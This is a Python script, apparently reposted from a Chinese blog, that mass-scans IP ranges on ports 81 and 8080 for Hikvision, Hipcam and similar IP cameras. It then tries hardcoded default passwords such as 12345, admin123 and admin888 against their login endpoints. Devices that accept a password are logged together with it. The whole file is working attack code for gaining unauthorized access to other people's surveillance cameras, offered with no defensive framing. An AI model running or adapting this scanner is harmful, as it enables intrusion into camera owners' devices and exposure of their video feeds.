NetworkSegmentCamera - 某工控设备扫描器

# coding: utf-8

import sys
import time
import socket
import requests
from bs4 import BeautifulSoup
from datetime import datetime
from multiprocessing.dummy import Pool as ThreadPool

g_num = 0
g_allnum = 0
g_filename = int(time.time())
remote_server = input("Enter a remote host to scan:")

t1 = datetime.now()

remote_server_ips = []
temp_index = remote_server.split(',')


for index in temp_index:
    temp_ip = index.split('.')
    for i in range(int(temp_ip[2]),255):
        for j in range(int(temp_ip[3]),255):
            remote_server_ips.append(temp_ip[0] + '.' + temp_ip[1] + '.' + str(i) + '.' + str(j))


'''
for index in temp_index:
    temp_ip = index.split('.')
    for i in range(int(temp_ip[2]),255):
        for j in range(int(temp_ip[3]),255):
            for k in range(int(temp_ip[3]),255):
                remote_server_ips.append(temp_ip[0] + '.' + str(i) + '.' + str(j) + '.' + str(k))
'''

g_allnum = len(remote_server_ips)

print('-' * 60)
print('Please wait, scanning remote host ' + remote_server + ', netmask is sixteen.')
print('-' * 60)

socket.setdefaulttimeout(0.5)

def hikvision_v1(ipaddr, port):
    pwds = {'YWRtaW46MTIzNDU=':'12345', 'YWRtaW46YWRtaW4xMjM=':'admin123', 'YWRtaW46YWRtaW44ODg=':'admin888'}
    
    url = 'http://' + ipaddr + ':' + str(port) + '/ISAPI/Security/userCheck'
    
    for pwd,value in pwds.items():
        headers = {
            'If-Modified-Since':'0',
            'Accept':'*/*',
            'Authorization':'Basic ' + pwd,
            'Referer':url + '/doc/page/login.asp',
            'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
            'Host':ipaddr,
            'Cookie':'language=zh; updateTips=true; userInfo81=' + pwd + '; page=preview.asp%251',
        }
        r = requests.get(url,headers=headers)
        if '<statusValue>200</statusValue>' in r.text:
            return value
    return False

def hikvision_v2(ipaddr, port):
    pwds = {'YWRtaW46MTIzNDU=':'12345', 'YWRtaW46YWRtaW4xMjM=':'admin123', 'YWRtaW46YWRtaW44ODg=':'admin888'}
    
    url = 'http://' + ipaddr + ':' + str(port) + '/PSIA/Custom/SelfExt/userCheck'
    
    for pwd,value in pwds.items():
        headers = {
            'If-Modified-Since':'0',
            'Accept':'*/*',
            'Authorization':'Basic ' + pwd,
            'Referer':url + '/doc/page/login.asp',
            'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
            'Host':ipaddr,
            'Cookie':'language=zh; updateTips=true; enableAnonymous81=false; userInfo81=' + pwd + '; page=preview.asp%251',
        }
        r = requests.get(url,headers=headers)
        if '<statusValue>200</statusValue>' in r.text:
            return value
    return False

def hikvision_v3(ipaddr, port):
    pwds = ['admin123', 'admin888']
    
    for pwd in pwds:
        r = requests.get(url=('http://' + ipaddr + ':' + str(port) + '/PSIA/System/deviceinfo'), auth=('admin', pwd))
        if '<?xml version="1.0" encoding="UTF-8"?>' in r.text:
            return pwd
    return False

def hikvision_v4(ipaddr, port):
    pwds = {'user':'user', 'admin':'admin',}

    for key,value in pwds.items():
        r = requests.get(url=('http://' + ipaddr + ':' + str(port) + '/'), auth=(key, value))
        if '/web/index.html' in r.text:
            return value
    return False
    
def find_server(ipaddr, port, g_num):
    global g_allnum
    global g_filename
    
    f = open(str(g_filename) + '.txt','a')
    
    addr = 'http://' + ipaddr + ':' + str(port)
    req_obj = requests.get(addr)
    req_obj.encoding='utf-8'
    
    infos = '计数:' + str(g_num) + '/' + str(g_allnum) + ' ' + '\t\t地址:' + addr + ' '
    soup = BeautifulSoup(req_obj.text,'lxml')
    title = soup.title.string
    if title is None:
        title = ''
    
    if title == '':
        if 'WebControl.exe' in req_obj.text:
            title = 'WebControl'
        elif 'SetNetPlayRecordStatus' in req_obj.text:
            title = 'WebService'
        elif '/doc/page/login.asp?_' in req_obj.text:
            t = hikvision_v3(ipaddr, port)
            if t:
                title = 'index_v2 is ok ' + t
            else:
                title = 'index_v2'

    elif title == 'index':
        if 'doc/page/login.asp' in req_obj.text:
            t = False
            if '<meta http-equiv="pragma" content="no-cache">' in req_obj.text:
                t = hikvision_v1(ipaddr, port)
            else:
                t = hikvision_v2(ipaddr, port)

            if t:
                title = title + ' is ok ' + t
    elif title == 'Login':
        if 'Error: username or password error,please input again.' in req_obj.text:
            t = hikvision_v4(ipaddr, port)
            if t:
                title = 'Hipcam is ok ' + t
    
    flag = False
            
    filler_ok = ['WEB SERVICE', 'WebService','Hipcam is', 'index is', 'index_v2 is', 'Web Service', 'NETSurveillance', ]
    for ok in filler_ok:
        if ok in title:
            flag = True
            break
    
    if flag:
        infos = infos + '\t\t标题:' + title
        print(infos)
        f.write(infos + '\n')

    f.close()

def time_change(time_init):
    time_list = []
    if time_init/3600 > 1:
        time_h = int(time_init/3600)
        time_m = int((time_init-time_h*3600) / 60)
        time_s = int(time_init - time_h * 3600 - time_m * 60)
        time_list.append(str(time_h))
        time_list.append('h ')
        time_list.append(str(time_m))
        time_list.append('m ')

    elif time_init/60 > 1:
        time_m = int(time_init/60)
        time_s = int(time_init - time_m * 60)
        time_list.append(str(time_m))
        time_list.append('m ')
    else:
        time_s = int(time_init)

    time_list.append(str(time_s))
    time_list.append('s')
    time_str = ''.join(time_list)
    return time_str

def scan_ipaddr(ipaddr):
    global g_allnum
    global g_num
    
    t_start = time.clock()
    
    g_num += 1
    
    ports = ['81','8080',]
    for port in ports:
        try:
            s = socket.socket(2, 1)
            res = s.connect_ex((ipaddr, int(port)))
            
            if res == 0:
                find_server(ipaddr, port, g_num)
                break

            s.close()
        except Exception as e:
            pass
    
    t_end = time.clock()
    
    use_time = t_end - t_start
    res_time = (g_allnum - g_num) / use_time 
    
    sys.stdout.write("进度:{:.2f}%".format(g_num/g_allnum*100))
    sys.stdout.write(",剩余:{}".format(time_change(res_time/1000)))
    sys.stdout.write("\r")

pool = ThreadPool(processes = 100)
results = pool.map(scan_ipaddr, remote_server_ips)
pool.close()
pool.join()

print()
print('Multiprocess Scanning Completed in  ', datetime.now() - t1)
print('-' * 60)

猜你喜欢

转载自www.cnblogs.com/blackxu/p/11210448.html